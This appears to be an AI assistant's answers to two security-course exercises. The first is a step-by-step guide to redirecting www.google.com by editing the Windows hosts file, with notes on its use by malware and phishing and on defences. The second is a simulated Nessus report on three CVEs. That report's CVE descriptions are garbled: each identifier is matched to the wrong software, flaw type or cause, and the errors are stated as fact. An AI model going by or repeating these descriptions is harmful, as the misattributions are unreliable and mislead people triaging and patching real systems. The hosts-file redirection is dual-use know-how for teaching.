Altering the Windows hosts file is a simple way to redirect traffic from one domain to another by modifying how the system resolves domain names into IP addresses. This technique works by mapping a domain name (like www.google.com) to a different IP address, causing all traffic to that domain to go to the specified IP address instead of the actual one.

Here's how you can alter the hosts file to redirect browser traffic from www.google.com to another domain.

🎯 What is the Hosts File?

The hosts file is a plain text file located on your computer that maps hostnames (domain names) to IP addresses. When you enter a URL in a browser, the system checks the hosts file before making a DNS request to the network. If a domain is found in the hosts file, it uses the corresponding IP address instead of querying the DNS server.

On Windows, the hosts file is located at:

C:\Windows\System32\drivers\etc\hosts

📋 Step-by-Step Process to Redirect Traffic

1. Open the Hosts File for Editing

1. Open Notepad as an administrator:
    - Click Start.
    - Type Notepad in the search bar.
    - Right-click Notepad and select Run as administrator.
2. Open the hosts file:
    - In Notepad, go to File > Open.
    - Navigate to the following directory:
    - C:\Windows\System32\drivers\etc\
    - In the "File Type" dropdown, select All Files.
    - Open the hosts file.

2. Add a New Entry to Redirect Traffic

To redirect www.google.com to another domain (e.g., www.example.com), you need to add a new line to the hosts file. For example:

- Find the line that starts with 127.0.0.1 (which corresponds to localhost).
- Add a new entry below it:
- 127.0.0.1   www.google.com

This would redirect www.google.com to the IP address 127.0.0.1 (your local machine).

- Alternatively, if you wanted to redirect www.google.com to another legitimate IP, you can find the IP address of the target domain. For example, if you wanted to redirect it to **www.example.com**'s IP:
- 93.184.216.34   www.google.com

You can get the IP of any domain (like www.example.com) using a command like this:

nslookup www.example.com

The IP address for www.example.com would appear in the output.

3. Save the Hosts File

After editing the hosts file, save your changes:

- Click File > Save in Notepad.

4. Test the Redirection

Now, when you open a web browser and navigate to www.google.com, the traffic will be directed to the IP address specified in the hosts file (either 127.0.0.1 or the new IP address). Here's what should happen depending on your redirection:

- If you pointed www.google.com to 127.0.0.1, you would likely see a connection error since your local machine isn't running a web server.
- If you pointed it to another domain (e.g., www.example.com), the browser would load www.example.com instead of www.google.com.

□ Example Walkthrough

1. Open hosts file and add the following line:

93.184.216.34   www.google.com

2. Save the file and flush the DNS cache (optional but recommended):

To clear the DNS cache (so the system uses the updated hosts file immediately), open a Command Prompt as administrator and run:

ipconfig /flushdns

3. Open your browser and go to www.google.com.

Instead of loading Google's homepage, your browser should redirect you to www.example.com because that's where the IP for www.google.com is now pointing.

⚙ How This Works

- **When you try to visit www.google.com, the system checks the hosts file before attempting a DNS lookup.**
- **If the hosts file contains an entry for www.google.com, the system uses the IP address specified in the hosts file instead of querying the DNS server.**
- **This redirection happens at the local machine level, so it only affects the device whose hosts file has been altered.**

🚨 Security Implications

This technique is commonly used in:

- **Malware (to redirect users to malicious websites).**
- **Phishing (to redirect users to fake websites that look like legitimate ones).**

It's a powerful way to manipulate traffic, which is why it's important to protect the hosts file and ensure only authorized users have write access to it.

🛡 Defense Mechanisms

- **Access Control: Restrict access to the hosts file to administrators only.**
- **Monitoring Tools: Use monitoring tools to alert on any changes to the hosts file.**
- **Antivirus/Antimalware: Ensure your security software can detect unauthorized changes to system files like the hosts file.**

This method of redirecting traffic using the hosts file is a straightforward way to manipulate browser behavior and can be useful for testing, penetration testing, or even malicious purposes. Let me know if you'd like to see more examples or dive deeper into any part of this process!

(V) Nessus (or simulate with reports if tool isn't available) to scan a system and identify at least three vulnerabilities. Explain what they are and how an attacker might exploit them.

ANSWER:-

Using Nessus to Scan for Vulnerabilities

Nessus is a widely used vulnerability scanning tool that can identify a variety of security issues in networked systems. If you're unable to use Nessus directly, you can simulate a report based on common vulnerabilities Nessus might identify. In this scenario, I'll walk you through how a Nessus scan might work, the types of vulnerabilities it could identify, and explain the potential risks and exploits.

Let's simulate a scenario where you run a Nessus scan on a vulnerable system and identify three common types of vulnerabilities:

Simulated Nessus Report: Vulnerabilities Identified

1. Vulnerability: OpenSSH Vulnerability (CVE-2021-41617)

Description:

- **OpenSSH versions prior to 8.7 are vulnerable to a remote code execution (RCE) flaw due to improper handling of memory allocation when processing specific requests.**
- **If an attacker sends specially crafted packets to the affected server, they can cause a buffer overflow and execute arbitrary code on the system.**

How an Attacker Might Exploit It:

- **An attacker could exploit this vulnerability by sending a specially crafted SSH message to the vulnerable server, potentially gaining control of the system. The attacker could execute arbitrary commands as a privileged user, leading to a full system compromise.**

Impact:

- **Remote Code Execution could allow an attacker to run commands with the privileges of the SSH service user (typically root), which would give the attacker full access to the target system.**

Mitigation:

- **Patch the OpenSSH version to at least 8.7 or higher. This vulnerability was patched in later releases.**

---

2. Vulnerability: HTTP Security Header Missing (CVE-2019-11043)

Description:

- **Some web servers, especially those running older versions of PHP-FPM (PHP FastCGI Process Manager), might be vulnerable to a remote code execution (RCE) flaw caused by improper configuration or the absence of security headers, including X-Content-Type-Options and Strict-Transport-Security.**
- **This vulnerability could allow an attacker to exploit an incorrectly configured web application and run code remotely.**

How an Attacker Might Exploit It:

- **An attacker could inject malicious payloads into HTTP headers (e.g., cross-site scripting, remote file inclusion, or exploiting other weaknesses in PHP applications) due to the absence of required security headers.**
- **If the attacker successfully exploits the missing header vulnerability, they could execute arbitrary code on the server, leading to system compromise.**

Impact:

- **The attacker might gain control of the server or access sensitive user data, depending on the configuration of the server and web application.**

Mitigation:

- **Ensure that your web server is properly configured with appropriate security headers, such as Strict-Transport-Security (HSTS) and X-Content-Type-Options.**
- **Update PHP-FPM to a secure version, and check the web server configuration for proper hardening.**

---

3. Vulnerability: Outdated WordPress Plugin (CVE-2020-25213)

Description:

- **WordPress plugins like Contact Form 7 (an older version) were found to have a cross-site scripting (XSS) vulnerability. The plugin failed to sanitize user inputs in the contact form, allowing attackers to inject malicious JavaScript into the form fields.**

How an Attacker Might Exploit It:

- **An attacker could submit malicious JavaScript code through the contact form, which would then be executed in the context of an unsuspecting user's browser when they visit the compromised page.**
- **This type of XSS attack could be used to steal session cookies, perform phishing, or redirect users to malicious sites.**

Impact:

- **Cross-Site Scripting (XSS) attacks allow attackers to inject malicious scripts into websites. These scripts can compromise user data, such as session cookies, allowing attackers to hijack accounts.**
- **In some cases, attackers could escalate their attack to gain control over the website itself, depending on the severity and configuration.**

Mitigation:

- **Update the Contact Form 7 plugin to the latest version (this vulnerability was patched in version 5.1).**
- **Implement proper input validation and output sanitization in all user-facing forms to prevent XSS.**

Summary of the Identified Vulnerabilities

1. **OpenSSH Vulnerability (CVE-2021-41617): This remote code execution (RCE) flaw can lead to an attacker gaining complete control over a system by exploiting a buffer overflow. Solution: Update OpenSSH to a secure version (>=8.7).**
2. **HTTP Security Header Missing (CVE-2019-11043): RCE via improper header configuration in web applications can allow attackers to execute arbitrary code. Solution: Ensure proper security headers are configured, and update vulnerable software.**
3. **Outdated WordPress Plugin (CVE-2020-25213): XSS vulnerability in an outdated plugin allows attackers to inject malicious scripts, potentially compromising users. Solution: Update the plugin to the latest version.**

How an Attacker Might Exploit These Vulnerabilities:

- **Remote Code Execution (RCE) vulnerabilities like in OpenSSH (CVE-2021-41617) give attackers full control of the system, making them one of the most dangerous types of vulnerabilities. An attacker could gain root-level access, perform data exfiltration, or pivot to other systems.**
- **Cross-Site Scripting (XSS) in plugins or web applications (CVE-2020-25213) allows attackers to execute scripts in a user's browser. These scripts can steal user data, session cookies, or perform social engineering attacks like phishing.**
- **Improper Security Header Configuration can result in a RCE or XSS exploit that allows attackers to inject malicious payloads into web applications or users' browsers.**

Conclusion

Using a vulnerability scanner like Nessus helps identify these weaknesses in systems and applications. These identified vulnerabilities—such as RCE, XSS, and missing security headers—can lead to severe compromises if exploited by attackers. Regularly scanning and patching vulnerabilities is critical for maintaining a secure environment.

Let me know if you want to dive deeper into any of these vulnerabilities or need help interpreting more complex Nessus reports!